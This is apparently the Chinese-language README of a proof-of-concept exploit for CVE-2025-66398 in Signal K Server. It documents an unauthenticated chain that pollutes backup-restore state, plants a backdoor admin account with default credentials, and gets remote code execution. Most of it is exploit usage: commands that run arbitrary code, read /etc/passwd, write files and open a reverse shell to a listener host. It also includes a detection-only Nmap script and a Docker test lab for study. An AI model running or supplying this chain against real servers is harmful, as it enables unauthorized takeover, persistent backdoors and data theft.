
CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC
CVE-2025-66398 是 Signal K Server 的一个问题:未认证攻击者可以通过 /skServer/validateBackup 污染服务器的恢复状态,然后通过 /skServer/restore 劫持配置,注入后门管理员账户,并(可选)通过将安全策略切换为攻击者控制的 Node.js 模块实现远程代码执行(RCE)。
受影响版本: Signal K Server ≤ 2.18.0
影响(高级别): 未认证状态污染 → 后门管理员注入 → 远程代码执行(当发生恢复 + 重启时)
/skServer/validateBackup 是否接受未认证上传。http-signalk-cve-2025-66398.nse,用于网络扫描(仅检测,不进行利用)。git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
本 PoC 有两种模式:
-check、-command、-read-file 等(仅建议在首次成功交互模式后使用)。python3 cve-2025-66398.py -h
# 或 GoLang 版本
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help 显示此帮助信息并退出
-target URL Signal K 服务器的基本 URL
-useragent UA 所有 HTTP 请求的 User-Agent 头
-timeout SEC 请求超时秒数(默认:10)
-target-os OS 目标服务器操作系统用于载荷/路径适配:linux(默认)或 windows
-signalk-dir DIR 覆盖目标上的 Signal K 数据目录(默认:取决于 OS)
-check 测试目标是否易受攻击,但不进行利用
-admin-user USER 阶段 2 恢复的管理员用户名
-admin-pass PASS 阶段 2 恢复的管理员密码
-backdoor-user USER 注入的后门用户名(默认:backdoor)
-backdoor-pass PASS 注入的后门密码(默认:H4CK1nd3x!)
-command CMD 在服务器上执行命令(非交互)
-read-file PATH 通过 RCE 读取远程文件
-write-file CONTENT PATH
通过 RCE 将 CONTENT 写入服务器上的 PATH
-code CODE 注入原始 Node.js 代码作为安全模块
-shell 部署反弹 Shell(需要 -lhost 和 -lport)
-lhost HOST 反弹 Shell 的监听主机
-lport PORT 反弹 Shell 的监听端口
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# 或 GoLang 版本
./cve-2025-66398 -target http://127.0.0.1:3000 -check

包含一个独立的 Nmap 脚本,执行相同的未认证探测——不进行利用。
# 针对已知的 Signal K 端口
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# 系统级安装并直接运行(无需路径)
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
示例输出:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server 未认证备份上传导致 RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# 或 GoLang 版本
./cve-2025-66398 -target http://127.0.0.1:3000

脚本将:
.backup 到 /skServer/validateBackup(无需认证)/skServer/restore运行完整链(阶段 1 → 3)并执行命令:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# 或 GoLang 版本
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

读取远程文件(阶段 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# 或 GoLang 版本
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

反弹 Shell(阶段 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# 或 GoLang 版本
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

注意:
-admin-user/-admin-pass,脚本会假设后门账户已从之前运行中激活。backdoor / H4CK1nd3x!(可通过 -backdoor-user / -backdoor-pass 覆盖)。-signalk-dir <DIR>。一个自包含的 Docker Compose 环境,包含易受攻击的软件,用于本地测试。 查看 DOCKER.md 了解更多细节
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
本 PoC 仅用于教育和授权安全测试。请勿针对您不拥有或未获明确许可的系统运行。